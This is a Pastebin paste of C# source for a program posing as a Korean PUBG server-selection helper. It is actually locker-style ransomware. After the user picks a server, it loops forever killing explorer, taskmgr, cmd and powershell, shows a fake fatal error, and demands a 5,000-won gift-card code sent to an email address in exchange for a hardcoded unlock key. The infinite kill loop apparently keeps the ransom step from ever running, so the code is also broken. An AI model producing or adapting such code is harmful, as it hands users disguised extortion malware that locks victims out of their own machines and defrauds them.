Advertisement
Guest User

Untitled

a guest
Nov 30th, 2018
109
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 8.75 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.Linq;
  4. using System.Text;
  5. using System.Threading.Tasks;
  6. using System.Threading;
  7. using System.Diagnostics;
  8.  
  9. namespace 철헌이게받치는2번쨰
  10. {
  11.     class Program
  12.     {
  13.         static void Main(string[] args)
  14.         {
  15.             Console.ForegroundColor = ConsoleColor.White;
  16.             Console.WriteLine("#version 0.1");
  17.             Console.WriteLine("#copyright 2018. 배그인벤 all rights reserverd.");
  18.             Console.ForegroundColor = ConsoleColor.Green;
  19.             Console.WriteLine("안녕하세요, 배틀그라운드 서버 선택 도우미입니다.");
  20.             Thread.Sleep(1000);
  21.             Console.WriteLine("배틀그라운드를 실행시키고 Y를 입력해주세요.");
  22.             Console.ForegroundColor = ConsoleColor.White;
  23.             while ((Console.ReadLine() == "Y"))
  24.             {
  25.                 Console.Clear();
  26.                 Console.WriteLine("서버선택UI로 이동합니다.");
  27.                 Thread.Sleep(1000);
  28.                 Console.ForegroundColor = ConsoleColor.Red;
  29.                 Console.WriteLine("10초 남았습니다.");
  30.                 Thread.Sleep(1000);
  31.                 Console.ForegroundColor = ConsoleColor.Yellow;
  32.                 Console.WriteLine("9초 남았습니다.");
  33.                 Thread.Sleep(1000);
  34.                 Console.ForegroundColor = ConsoleColor.Green;
  35.                 Console.WriteLine("8초 남았습니다.");
  36.                 Thread.Sleep(1000);
  37.                 Console.ForegroundColor = ConsoleColor.Blue;
  38.                 Console.WriteLine("7초 남았습니다.");
  39.                 Thread.Sleep(1000);
  40.                 Console.ForegroundColor = ConsoleColor.Cyan;
  41.                 Console.WriteLine("6초 남았습니다.");
  42.                 Thread.Sleep(1000);
  43.                 Console.ForegroundColor = ConsoleColor.DarkMagenta;
  44.                 Console.WriteLine("5초 남았습니다.");
  45.                 Thread.Sleep(1000);
  46.                 Console.ForegroundColor = ConsoleColor.White;
  47.                 Console.WriteLine("4초 남았습니다.");
  48.                 Thread.Sleep(1000);
  49.                 Console.ForegroundColor = ConsoleColor.DarkGreen;
  50.                 Console.WriteLine("3초 남았습니다.");
  51.                 Thread.Sleep(1000);
  52.                 Console.ForegroundColor = ConsoleColor.Yellow;
  53.                 Console.WriteLine("2초 남았습니다.");
  54.                 Thread.Sleep(1000);
  55.                 Console.ForegroundColor = ConsoleColor.DarkMagenta;
  56.                 Console.WriteLine("1초 남았습니다.");
  57.                 Thread.Sleep(1000);
  58.                 Console.ForegroundColor = ConsoleColor.Green;
  59.                 Console.WriteLine("실행하고있습니다.");
  60.                 Thread.Sleep(1000);
  61.                 Console.Clear();
  62.                 Console.WriteLine("┌────────────────────┐\n" +
  63.                                   " 1. US 2.KR 3.AS 4.EU            \n" +
  64.                                   "└━━━━━━━━━━━━━━━━━━━━┘\n");
  65.                 Console.WriteLine("원하시는 서버 번호를 입력해주세요. . .");
  66.                 while ((Console.ReadLine() == "1"))
  67.                 {
  68.                     Console.Clear();
  69.                     Thread.Sleep(1000);
  70.                     timer1();
  71.                     Console.WriteLine("!error! \n" +
  72.                     "치명적인 오류가 발생하였습니다.! \n" +
  73.                     "복구하실려면 Y를 입력해주세요.");
  74.                     while ((Console.ReadLine() == "Y"))
  75.                     {
  76.                         Console.Clear();
  77.                         Console.WriteLine("hk416.noname@gmail.com으로 5천원 문상코드를 보내주시면 \n" + "복구키를 제공해드리겠습니다.!");
  78.                         Thread.Sleep(1000);
  79.                         Process.Start("http://gmail.com");
  80.                         Console.WriteLine("복구키를 입력하세요 : ");
  81.                         while ((Console.ReadLine() == "FuckPubg"))
  82.                         {
  83.                             Console.Clear();
  84.                             Console.WriteLine("저희 서비스를 이용해주셔서 감사합니다. KR서버에 정상적으로 연결되었습니다.");
  85.                             Process.Start("explorer.exe");
  86.                         }
  87.                     }
  88.  
  89.                 }
  90.                 while ((Console.ReadLine() == "2"))
  91.                 {
  92.                     Console.Clear();
  93.                     Thread.Sleep(1000);
  94.                     timer1();
  95.                     Console.WriteLine("!error! \n " +
  96.                     "치명적인 오류가 발생하였습니다.! \n" +
  97.                     "복구하실려면 Y를 입력해주세요.");
  98.                     while ((Console.ReadLine() == "Y"))
  99.                     {
  100.                         Console.Clear();
  101.                         Console.WriteLine("hk416.noname@gmail.com으로 5천원 문상코드를 보내주시면 \n" + "복구키를 제공해드리겠습니다.!");
  102.                         Thread.Sleep(1000);
  103.                         Process.Start("http://gmail.com");
  104.                         Console.WriteLine("복구키를 입력하세요 : ");
  105.                         while ((Console.ReadLine() == "FuckPubg"))
  106.                         {
  107.                             Console.Clear();
  108.                             Console.WriteLine("저희 서비스를 이용해주셔서 감사합니다. KR서버에 정상적으로 연결되었습니다.");
  109.                             Process.Start("explorer.exe");
  110.                         }
  111.                     }
  112.                 }
  113.                 while ((Console.ReadLine() == "3"))
  114.                 {
  115.                     Console.Clear();
  116.                     Thread.Sleep(1000);
  117.                     timer1();
  118.                     Console.WriteLine("!error! \n " +
  119.                     "치명적인 오류가 발생하였습니다.! \n" +
  120.                     "복구하실려면 Y를 입력해주세요.");
  121.                     while ((Console.ReadLine() == "Y"))
  122.                     {
  123.                         Console.Clear();
  124.                         Console.WriteLine("hk416.noname@gmail.com으로 5천원 문상코드를 보내주시면 \n" + "복구키를 제공해드리겠습니다.!");
  125.                         Thread.Sleep(1000);
  126.                         Process.Start("http://gmail.com");
  127.                         Console.WriteLine("복구키를 입력하세요 : ");
  128.                         while ((Console.ReadLine() == "FuckPubg"))
  129.                         {
  130.                             Console.Clear();
  131.                             Console.WriteLine("저희 서비스를 이용해주셔서 감사합니다. KR서버에 정상적으로 연결되었습니다.");
  132.                             Process.Start("explorer.exe");
  133.                         }
  134.                     }
  135.                 }
  136.                 while ((Console.ReadLine() == "4"))
  137.                 {
  138.                     Console.Clear();
  139.                     Thread.Sleep(1000);
  140.                     timer1();
  141.                     Console.WriteLine("!error! \n " +
  142.                     "치명적인 오류가 발생하였습니다.! \n" +
  143.                     "복구하실려면 Y를 입력해주세요.");
  144.                     while ((Console.ReadLine() == "Y"))
  145.                     {
  146.                         Console.Clear();
  147.                         Console.WriteLine("hk416.noname@gmail.com으로 5천원 문상코드를 보내주시면 \n" + "복구키를 제공해드리겠습니다.!");
  148.                         Thread.Sleep(1000);
  149.                         Process.Start("http://gmail.com");
  150.                         Console.WriteLine("복구키를 입력하세요 : ");
  151.                         while ((Console.ReadLine() == "FuckPubg"))
  152.                         {
  153.                             Console.Clear();
  154.                             Console.WriteLine("저희 서비스를 이용해주셔서 감사합니다. KR서버에 정상적으로 연결되었습니다.");
  155.                             Process.Start("explorer.exe");
  156.                         }
  157.                     }
  158.                 }
  159.             }
  160.         }
  161.  
  162.         //여러 프로세스 무한 종료
  163.         static void timer1()
  164.         {
  165.             while (true)
  166.             {
  167.                 string[] killlist = { "explorer", "taskmgr", "cmd", "powershell" };
  168.                 foreach (Process prc in Process.GetProcesses())
  169.                 {
  170.                     string name = prc.ProcessName;
  171.                     if (Array.Exists(killlist, x => x == name))
  172.                     {
  173.                         prc.Kill();
  174.                     }
  175.                 }
  176.             }
  177.         }
  178.     }
  179. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement